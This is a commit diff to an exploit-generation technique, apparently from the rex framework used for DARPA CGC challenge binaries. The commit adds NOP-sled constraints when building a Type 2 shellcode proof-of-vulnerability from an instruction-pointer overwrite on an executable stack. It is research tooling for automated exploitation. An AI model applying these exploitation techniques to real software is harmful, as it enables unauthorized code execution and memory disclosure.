old_contents: import logging
  from rex import Vulnerability
  from rex.exploit import CannotExploit
  from rex.exploit.cgc import CGCType2ShellcodeExploit
  from ..technique import Technique
  
  l = logging.getLogger("rex.exploit.techniques.shellcode_leak_address")
  
  class ShellcodeLeakAddress(Technique):
  
      name = "shellcode_leak_address"
  
      applicable_to = ['cgc']
  
      # this technique should create an exploit which is a type2 pov
      pov_type = 2
  
      generates_pov = True
  
      def apply(self, **kwargs):
          '''
          set a register with shellcode on cgc
          '''
  
          # can only exploit ip overwrites
          ct = self.crash.crash_type
          if ct != Vulnerability.IP_OVERWRITE and ct != Vulnerability.PARTIAL_IP_OVERWRITE:
              raise CannotExploit("[%s] cannot control ip" % self.name)
  
  
          if not self.crash.project.loader.main_bin.execstack:
              raise CannotExploit("[%s] stack is not executable" % self.name)
  
          # try to write shellcode into global memory
          shellcode_template = self.shellcode.get_shellcode_template('leakaddress')
          shellcode = self.shellcode.get_shellcode('leakaddress', address=0x41414141, length=0x51515151)
  
          jump_addr, shellcode_addr = self._ip_overwrite_call_shellcode(shellcode)
  
          self.crash.state.add_constraints(self.crash.state.ip == jump_addr)
  
          return CGCType2ShellcodeExploit(self.crash, shellcode_addr, shellcode_template)
  
new_contents: import logging
  from rex import Vulnerability
  from rex.exploit import CannotExploit
  from rex.exploit.cgc import CGCType2ShellcodeExploit
  from ..technique import Technique
  
  l = logging.getLogger("rex.exploit.techniques.shellcode_leak_address")
  
  class ShellcodeLeakAddress(Technique):
  
      name = "shellcode_leak_address"
  
      applicable_to = ['cgc']
  
      # this technique should create an exploit which is a type2 pov
      pov_type = 2
  
      generates_pov = True
  
      def apply(self, **kwargs):
          '''
          set a register with shellcode on cgc
          '''
  
          # can only exploit ip overwrites
          ct = self.crash.crash_type
          if ct != Vulnerability.IP_OVERWRITE and ct != Vulnerability.PARTIAL_IP_OVERWRITE:
              raise CannotExploit("[%s] cannot control ip" % self.name)
  
  
          if not self.crash.project.loader.main_bin.execstack:
              raise CannotExploit("[%s] stack is not executable" % self.name)
  
          # try to write shellcode into global memory
          shellcode_template = self.shellcode.get_shellcode_template('leakaddress')
          shellcode = self.shellcode.get_shellcode('leakaddress', address=0x41414141, length=0x51515151)
  
          jump_addr, shellcode_addr = self._ip_overwrite_call_shellcode(shellcode)
  
          ccp = self.crash.copy()
  
          ccp.state.add_constraints(ccp.state.regs.ip == jump_addr)
  
          # add nop sled if we were able to place one
          if jump_addr != shellcode_addr:
              nop_len = shellcode_addr - jump_addr
              sym_mem = ccp.state.memory.load(jump_addr, nop_len)
              nop_bvv = ccp.state.se.BVV("\x90" * nop_len)
              ccp.state.add_constraints(sym_mem == nop_bvv)
  
          return CGCType2ShellcodeExploit(ccp, shellcode_addr, shellcode_template)
  
subject: Add NOP sled constraints when generating the Type2 shellcode POV